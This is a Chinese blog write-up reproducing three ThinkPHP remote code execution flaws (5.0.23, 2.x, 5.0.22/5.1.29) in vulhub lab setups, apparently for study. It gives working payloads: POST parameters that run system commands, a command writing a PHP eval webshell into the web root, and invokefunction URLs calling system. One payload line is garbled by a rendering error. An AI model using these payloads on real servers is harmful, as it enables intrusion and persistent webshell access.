ThinkPHP5 5.0.23 远程执行代码,2.x 任意代码执行,5 5.0.22/5.1.29 远程执行代码

ThinkPHP

补充:该环境是vulhub漏洞中的thinkphp系列,具体搭建参考https://blog.csdn.net/qq_56426046/article/details/126805378

ThinkPHP5 5.0.23 远程执行代码漏洞

漏洞描述

​ ThinkPHP是在中国使用非常广泛的PHP开发框架。在其版本 5.0(<5.0.24) 中,框架在获取请求方法时会错误地处理该方法,这允许攻击者调用 Request 类的任何方法,从而导致通过特定漏洞利用链出现 RCE 漏洞。

漏洞原理

这位大佬的文章有原理

漏洞复现-thinkphp5.0.23-远程命令执行_mob604756f61e6c的技术博客_51CTO博客

漏洞复现

vulhub搭建好后访问80端口进入页面

在这里插入图片描述

访问your-ip:8080/index.php?s=captcha页面会出现报错。

在这里插入图片描述

POST传参:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls / 发现命令执行成功。

在这里插入图片描述

补充:也可以试着写入木马:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo “<?php eval(\$_POST[x]); ?>” > /var/www/public/h.php

ThinkPHP 2.x 任意代码执行漏洞

漏洞描述

ThinkPHP 2.x版本中,使用的模式匹配路由:preg_replace``/e

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
相应解释:
正则表达式:'@(\w+)'.$depr.'([^'.$depr.'\/]+)@e'替换字符:'$var[\'\\1\']="\\2";'目标字符:implode($depr,$paths))

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。

补充:${} 里面写的变量名为已知函数名称时,函数会被执行,输出结果会以报错的形式回显

漏洞原理

知识的搬运工

(5条消息) ThinkPHP 2.x 任意代码执行漏洞_Ranwu0的博客-CSDN博客

ThinkPHP系列漏洞分析-2.x任意代码执行 - 网安 (wangan.com)

漏洞复现

一个是直接payload:ip:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
在这里插入图片描述

也可以webshellpayload:10.139.10.152:8080/?s=a/b/c/KaTeX parse error: Expected '}', got 'EOF' at end of input: {@print(eval(_POST[1]))}

成功连接!

在这里插入图片描述

补充:主要是preg_replace的应用。

Thinkphp5 5.0.22/5.1.29 远程执行代码漏洞

漏洞描述

ThinkPHP是在中国使用非常广泛的PHP开发框架。在其版本 5 中,由于框架错误地处理控制器名称,如果网站未启用强制路由(这是默认),它可以执行任何方法,从而导致 RCE 漏洞。

漏洞原理

[漏洞分析]thinkphp 5.x全版本任意代码执行分析全记录 - 先知社区 (aliyun.com)

漏洞复现

在这里插入图片描述

成功命令执行

http://10.139.10.152:8080/index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

在这里插入图片描述

补充

"/Index/\think\app/invokefunction"表示一个控制器和一个方法名,以用于借助框架提供的反射机制调用内部方法;"function=call_user_func_array&vars[0]=phpinfo"则表示要执行的具体函数名和该函数的参数;"&vars[1][]=-1" 则是将 "-1" 作为该函数的第二个参数传递给它。
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值